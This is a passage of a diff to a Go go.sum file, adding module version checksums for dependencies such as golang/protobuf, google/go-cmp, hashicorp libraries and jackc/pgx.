+github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
+github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
+github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
+github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4=
+github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8=
+github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs=
+github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
+github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
+github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
+github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
+github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
+github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=
+github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
+github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
+github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
+github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
+github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
+github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
+github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
+github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
+github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
+github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM=
+github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
+github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
+github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
+github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
+github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
+github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA=
+github.com/google/certificate-transparency-go v1.0.21/go.mod h1:QeJfpSbVSfYc7RgB3gJFj9cbuQMMchQxrWXz8Ruopmg=
+github.com/google/certificate-transparency-go v1.1.2-0.20210422104406-9f33727a7a18/go.mod h1:6CKh9dscIRoqc2kC6YUFICHZMT9NrClyPrRVFrdw1QQ=
+github.com/google/certificate-transparency-go v1.1.2-0.20210512142713-bed466244fa6/go.mod h1:aF2dp7Dh81mY8Y/zpzyXps4fQW5zQbDu2CxfpJB6NkI=
+github.com/google/certificate-transparency-go v1.1.2-0.20210623111010-a50f74f4ce95/go.mod h1:Qj+RD7dL44/KQVYkRk4wDVszkPOzxNcHmuX4HCMEqKg=
+github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
+github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
+github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
+github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-github/v28 v28.1.1/go.mod h1:bsqJWQX05omyWVmc00nEUql9mhQyv38lDZ8kPZcQVoM=
+github.com/google/go-licenses v0.0.0-20210329231322-ce1d9163b77d/go.mod h1:+TYOmkVoJOpwnS0wfdsJCV9CoD5nJYsHoFk/0CrTK4M=
+github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
+github.com/google/go-replayers/grpcreplay v0.1.0/go.mod h1:8Ig2Idjpr6gifRd6pNVggX6TC1Zw6Jx74AKp7QNH2QE=
+github.com/google/go-replayers/httpreplay v0.1.0/go.mod h1:YKZViNhiGgqdBlUbI2MwGpq4pXxNmhJLPHQ7cv2b5no=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
+github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
+github.com/google/licenseclassifier v0.0.0-20210325184830-bb04aff29e72/go.mod h1:qsqn2hxC+vURpyBRygGUuinTO42MFRLcsmQ/P8v94+M=
+github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
+github.com/google/martian v2.1.1-0.20190517191504-25dcb96d9e51+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
+github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
+github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
+github.com/google/martian/v3 v3.2.1/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk=
+github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
+github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
+github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
+github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
+github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
+github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
+github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
+github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
+github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
+github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
+github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
+github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
+github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
+github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
+github.com/google/rpmpack v0.0.0-20191226140753-aa36bfddb3a0/go.mod h1:RaTPr0KUf2K7fnZYLNDrr8rxAamWs3iNywJLtQ2AzBg=
+github.com/google/subcommands v1.0.1/go.mod h1:ZjhPrFU+Olkh9WazFPsl27BQ4UPiG37m3yTrtFlrHVk=
+github.com/google/trillian v1.3.14-0.20210409160123-c5ea3abd4a41/go.mod h1:1dPv0CUjNQVFEDuAUFhZql16pw/VlPgaX8qj+g5pVzQ=
+github.com/google/trillian v1.3.14-0.20210511103300-67b5f349eefa/go.mod h1:s4jO3Ai4NSvxucdvqUHON0bCqJyoya32eNw6XJwsmNc=
+github.com/google/trillian v1.3.14-0.20210622121126-870e0cdde059/go.mod h1:77nhQ5M0g7nqL2S6sjQWUyqQ90h0X26T8cr0pQqqxec=
+github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/google/wire v0.3.0/go.mod h1:i1DMg/Lu8Sz5yYl25iOdmc5CT5qusaa+zmRWs16741s=
+github.com/googleapis/gax-go v2.0.2+incompatible/go.mod h1:SFVmujtThgffbyetf+mdk2eWhX2bMyUtNHzFKcPA9HY=
+github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
+github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
+github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
+github.com/gordonklaus/ineffassign v0.0.0-20200309095847-7953dde2c7bf/go.mod h1:cuNKsD1zp2v6XfE/orVX2QE1LC+i254ceGcVeDT3pTU=
+github.com/goreleaser/goreleaser v0.134.0/go.mod h1:ZT6Y2rSYa6NxQzIsdfWWNWAlYGXGbreo66NmE+3X3WQ=
+github.com/goreleaser/nfpm v1.2.1/go.mod h1:TtWrABZozuLOttX2uDlYyECfQX7x5XYkVxhjYcR6G9w=
+github.com/gorilla/context v0.0.0-20160226214623-1ea25387ff6f/go.mod h1:kBGZzfjB9CEq2AlWe17Uuf7NDRt0dE0s8S51q0aT7Yg=
+github.com/gorilla/context v1.1.1/go.mod h1:kBGZzfjB9CEq2AlWe17Uuf7NDRt0dE0s8S51q0aT7Yg=
+github.com/gorilla/mux v1.4.0/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
+github.com/gorilla/mux v1.6.2/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
+github.com/gorilla/mux v1.7.3/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
+github.com/gorilla/websocket v0.0.0-20170926233335-4201258b820c/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=
+github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=
+github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
+github.com/groob/finalizer v0.0.0-20170707115354-4c2ed49aabda/go.mod h1:MyndkAZd5rUMdNogn35MWXBX1UiBigrU8eTj8DoAC2c=
+github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
+github.com/grpc-ecosystem/go-grpc-middleware v1.0.1-0.20190118093823-f849b5445de4/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
+github.com/grpc-ecosystem/go-grpc-middleware v1.2.2/go.mod h1:EaizFBKfUKtMIF5iaDEhniwNedqGo9FuLFzppDr3uwI=
+github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y=
+github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk=
+github.com/grpc-ecosystem/grpc-gateway v1.8.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
+github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
+github.com/grpc-ecosystem/grpc-gateway v1.9.2/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
+github.com/grpc-ecosystem/grpc-gateway v1.9.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
+github.com/grpc-ecosystem/grpc-gateway v1.14.6/go.mod h1:zdiPV4Yse/1gnckTHtghG4GkDEdKCRJduHpTxT3/jcw=
+github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
+github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
+github.com/hashicorp/consul/api v1.3.0/go.mod h1:MmDNSzIMUjNpY/mQ398R4bk2FnqQLoPndWW5VkKPlCE=
+github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
+github.com/hashicorp/consul/sdk v0.3.0/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
+github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
+github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
+github.com/hashicorp/go-hclog v0.9.2/go.mod h1:5CU+agLiy3J7N7QjHK5d05KxGsuXiQLrjA0H7acj2lQ=
+github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
+github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
+github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
+github.com/hashicorp/go-retryablehttp v0.6.4/go.mod h1:vAew36LZh98gCBJNLH42IQ1ER/9wtLZZ8meHqQvEYWY=
+github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU=
+github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=
+github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4=
+github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
+github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
+github.com/hashicorp/go-version v1.2.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA=
+github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=
+github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
+github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
+github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
+github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64=
+github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ=
+github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=
+github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc=
+github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
+github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo=
+github.com/huandu/xstrings v1.2.0/go.mod h1:DvyZB1rfVYsBIigL8HwpZgxHwXozlTgGqn63UyNX5k4=
+github.com/huandu/xstrings v1.3.1/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE=
+github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE=
+github.com/hudl/fargo v1.3.0/go.mod h1:y3CKSmjA+wD2gak7sUSXTAoopbhU08POFhmITJgmKTg=
+github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
+github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
+github.com/icrowley/fake v0.0.0-20180203215853-4178557ae428/go.mod h1:uhpZMVGznybq1itEKXj6RYw9I71qK4kH+OGMjRC4KEo=
+github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA=
+github.com/imdario/mergo v0.3.8/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA=
+github.com/imdario/mergo v0.3.9/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA=
+github.com/imdario/mergo v0.3.11/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA=
+github.com/imdario/mergo v0.3.12/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA=
+github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
+github.com/influxdata/influxdb1-client v0.0.0-20191209144304-8bf82d3c094d/go.mod h1:qj24IKcXYK6Iy9ceXlo3Tc+vtHo9lIhSX5JddghvEPo=
+github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo=
+github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
+github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
+github.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA=
+github.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE=
+github.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s=
+github.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o=
+github.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY=
+github.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI=
+github.com/jackc/pgconn v1.10.1/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI=
+github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8=
+github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE=
+github.com/jackc/pgmock v0.0.0-20201204152224-4fe30f7445fd/go.mod h1:hrBW0Enj2AZTNpt/7Y5rr2xe/9Mn757Wtb2xeBzPv2c=
+github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak=
+github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
+github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78=
+github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA=
+github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg=
+github.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
+github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
+github.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
+github.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
+github.com/jackc/pgproto3/v2 v2.2.0/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
+github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E=
+github.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01CGwFsrv11mJRHWJ6aifDLfdV3aVjFF0zg=
+github.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc=
+github.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw=
+github.com/jackc/pgtype v1.8.1-0.20210724151600-32e20a603178/go.mod h1:C516IlIV9NKqfsMCXTdChteoXmwgUceqaLfjg2e3NlM=
+github.com/jackc/pgtype v1.9.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4=
+github.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y=
+github.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM=
+github.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc=
+github.com/jackc/pgx/v4 v4.12.1-0.20210724153913-640aa07df17c/go.mod h1:1QD0+tgSXP7iUjYm9C1NxKhny7lq6ee99u/z+IHFcgs=
+github.com/jackc/pgx/v4 v4.14.0/go.mod h1:jT3ibf/A0ZVCp89rtCIN0zCJxcE74ypROmHEZYsG/j8=
+github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
+github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
+github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
+github.com/jackc/puddle v1.2.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
+github.com/jarcoal/httpmock v1.0.5/go.mod h1:ATjnClrvW/3tijVmpL/va5Z3aAyGvqU3gCT8nX0Txik=
+github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99/go.mod h1:1lJo3i6rXxKeerYnT8Nvf0QmHCRC1n8sfWVwXF2Frvo=
+github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI=
+github.com/jhump/protoreflect v1.6.1/go.mod h1:RZQ/lnuN+zqeRVpQigTwO6o0AJUkxbnSnpuG7toUTG4=
+github.com/jhump/protoreflect v1.8.2/go.mod h1:7GcYQDdMU/O/BBrl/cX6PNHpXh6cenjd8pneu5yW7Tg=
+github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
+github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
+github.com/jmespath/go-jmespath v0.3.0/go.mod h1:9QtRXoHjLGCJ5IBSaohpXITPlowMeeYCZ7fLUTSywik=
